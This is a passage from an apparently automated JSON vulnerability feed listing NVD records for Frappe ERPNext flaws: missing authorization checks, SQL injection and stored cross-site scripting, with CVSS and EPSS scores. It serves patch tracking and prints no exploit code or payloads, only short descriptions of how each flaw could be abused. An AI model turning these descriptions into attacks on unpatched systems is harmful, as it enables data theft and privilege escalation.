fixes.","publishedAt":"2026-10-12T23:17:26.190Z","updatedAt":"2026-10-15T15:17:26.467Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109621","asOf":"2026-10-15T15:17:26.467Z"},"epss":{"probability":0.00273,"percentile":0.19525,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109621&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109621","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109621","type":"primary","publishedAt":"2026-10-12T23:17:26.190Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109621&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109621, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109617","cveId":"CVE-2026-109617","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks during...","summary":"Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks during document creation. Authenticated low-privileged users can send requests to these endpoints to create documents against records beyond their permitted role, bypassing role-based permission restrictions.","detail":"Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks during document creation. Authenticated low-privileged users can send requests to these endpoints to create documents against records beyond their permitted role, bypassing role-based permission restrictions.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:26.023Z","updatedAt":"2026-10-18T13:16:34.093Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109617","asOf":"2026-10-18T13:16:34.093Z"},"epss":{"probability":0.00222,"percentile":0.12645,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109617&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109617","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109617","type":"primary","publishedAt":"2026-10-12T23:17:26.023Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109617&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109617, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109616","cveId":"CVE-2026-109616","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.121.3 and 16.x before 16.35.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks.","summary":"Frappe ERPNext before 15.121.3 and 16.x before 16.35.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks. Authenticated users can send requests to these endpoints to modify data beyond what their assigned role permits.","detail":"Frappe ERPNext before 15.121.3 and 16.x before 16.35.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks. Authenticated users can send requests to these endpoints to modify data beyond what their assigned role permits.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:25.857Z","updatedAt":"2026-10-13T14:17:27.970Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109616","asOf":"2026-10-13T14:17:27.970Z"},"epss":{"probability":0.00239,"percentile":0.14873,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109616&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109616","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109616","type":"primary","publishedAt":"2026-10-12T23:17:25.857Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109616&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109616, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109615","cveId":"CVE-2026-109615","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks during...","summary":"Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks during document creation. Authenticated low-privileged users can call these endpoints to create documents against records beyond their permitted role, bypassing role-based access controls.","detail":"Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks during document creation. Authenticated low-privileged users can call these endpoints to create documents against records beyond their permitted role, bypassing role-based access controls.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:25.687Z","updatedAt":"2026-10-13T17:17:29.990Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109615","asOf":"2026-10-13T17:17:29.990Z"},"epss":{"probability":0.00247,"percentile":0.15795,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109615&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109615","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109615","type":"primary","publishedAt":"2026-10-12T23:17:25.687Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109615&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109615, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109614","cveId":"CVE-2026-109614","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 16.34.0 contains a missing authorization vulnerability that allows authenticated users to read financial data beyond their permitted role.","summary":"Frappe ERPNext before 16.34.0 contains a missing authorization vulnerability that allows authenticated users to read financial data beyond their permitted role. Attackers can query endpoints lacking proper authorization checks to access sensitive financial records they should not be able to view.","detail":"Frappe ERPNext before 16.34.0 contains a missing authorization vulnerability that allows authenticated users to read financial data beyond their permitted role. Attackers can query endpoints lacking proper authorization checks to access sensitive financial records they should not be able to view.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:25.527Z","updatedAt":"2026-10-14T14:17:37.370Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109614","asOf":"2026-10-14T14:17:37.370Z"},"epss":{"probability":0.00258,"percentile":0.17242,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109614&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109614","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109614","type":"primary","publishedAt":"2026-10-12T23:17:25.527Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109614&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109614, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109613","cveId":"CVE-2026-109613","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks on...","summary":"Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks on document status modification. Authenticated low-privileged users can call these endpoints to modify data beyond their permitted role, bypassing intended role-based access restrictions.","detail":"Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks on document status modification. Authenticated low-privileged users can call these endpoints to modify data beyond their permitted role, bypassing intended role-based access restrictions.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:25.353Z","updatedAt":"2026-10-15T15:17:26.110Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109613","asOf":"2026-10-15T15:17:26.110Z"},"epss":{"probability":0.00272,"percentile":0.19433,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109613&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109613","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109613","type":"primary","publishedAt":"2026-10-12T23:17:25.353Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109613&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109613, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109612","cveId":"CVE-2026-109612","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.120.0 and 16.x before 16.33.0 contains a stored cross-site scripting vulnerability in a report view that interpolates stored record names into markup...","summary":"Frappe ERPNext before 15.120.0 and 16.x before 16.33.0 contains a stored cross-site scripting vulnerability in a report view that interpolates stored record names into markup without escaping. Authenticated users able to create records can store crafted record names that execute script in the session of any user who later opens the report.","detail":"Frappe ERPNext before 15.120.0 and 16.x before 16.33.0 contains a stored cross-site scripting vulnerability in a report view that interpolates stored record names into markup without escaping. Authenticated users able to create records can store crafted record names that execute script in the session of any user who later opens the report.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:25.157Z","updatedAt":"2026-10-18T13:16:33.973Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109612","asOf":"2026-10-18T13:16:33.973Z"},"epss":{"probability":0.00207,"percentile":0.10673,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109612&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109612","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109612","type":"primary","publishedAt":"2026-10-12T23:17:25.157Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109612&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109612, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109610","cveId":"CVE-2026-109610","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains a missing authorization vulnerability because certain endpoints fail to enforce proper permission checks.","summary":"Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains a missing authorization vulnerability because certain endpoints fail to enforce proper permission checks. Authenticated low-privileged users can call these endpoints to modify documents and data beyond what their assigned role permits.","detail":"Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains a missing authorization vulnerability because certain endpoints fail to enforce proper permission checks. Authenticated low-privileged users can call these endpoints to modify documents and data beyond what their assigned role permits.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:24.830Z","updatedAt":"2026-10-13T17:17:29.873Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109610","asOf":"2026-10-13T17:17:29.873Z"},"epss":{"probability":0.00221,"percentile":0.12502,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109610&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109610","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109610","type":"primary","publishedAt":"2026-10-12T23:17:24.830Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109610&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109610, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109609","cveId":"CVE-2026-109609","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains an SQL injection vulnerability in some endpoints that lack input validation.","summary":"Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains an SQL injection vulnerability in some endpoints that lack input validation. Authenticated attackers with low privileges can send specially crafted requests to these endpoints to inject SQL and extract sensitive information from the ERPNext database.","detail":"Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains an SQL injection vulnerability in some endpoints that lack input validation. Authenticated attackers with low privileges can send specially crafted requests to these endpoints to inject SQL and extract sensitive information from the ERPNext database.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:24.660Z","updatedAt":"2026-10-14T13:17:26.407Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109609","asOf":"2026-10-14T13:17:26.407Z"},"epss":{"probability":0.00276,"percentile":0.19855,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109609&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109609","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109609","type":"primary","publishedAt":"2026-10-12T23:17:24.660Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109609&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109609, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109608","cveId":"CVE-2026-109608","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains an SQL injection vulnerability in several endpoints that lack input validation.","summary":"Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains an SQL injection vulnerability in several endpoints that lack input validation. Any authenticated user, including one with no assigned roles, can send specially crafted requests to read other users' sensitive information and escalate to a privileged account.","detail":"Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains an SQL injection vulnerability in several endpoints that lack input validation. Any authenticated user, including one with no assigned roles, can send specially crafted requests to read other users' sensitive information and escalate to a privileged account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:24.497Z","updatedAt":"2026-10-15T15:17:25.890Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109608","asOf":"2026-10-15T15:17:25.890Z"},"epss":{"probability":0.00253,"percentile":0.1667,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109608&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109608","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109608","type":"primary","publishedAt":"2026-10-12T23:17:24.497Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109608&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109608, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109604","cveId":"CVE-2026-109604","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.112.0 and 16.x before 16.23.0 contains a stored cross-site scripting vulnerability because a tool view interpolates stored record names into markup...","summary":"Frappe ERPNext before 15.112.0 and 16.x before 16.23.0 contains a stored cross-site scripting vulnerability because a tool view interpolates stored record names into markup without escaping. An authenticated user able to create such records can give them malicious names, executing script in the session of any user who later opens that tool.","detail":"Frappe ERPNext before 15.112.0 and 16.x before 16.23.0 contains a stored cross-site scripting vulnerability because a tool view interpolates stored record names into markup without escaping. An authenticated user able to create such records can give them malicious names, executing script in the session of any user who later opens that tool.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:24.327Z","updatedAt":"2026-10-18T13:16:33.857Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109604","asOf":"2026-10-18T13:16:33.857Z"},"epss":{"probability":0.00207,"percentile":0.10672,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109604&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109604","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109604","type":"primary","publishedAt":"2026-10-12T23:17:24.327Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 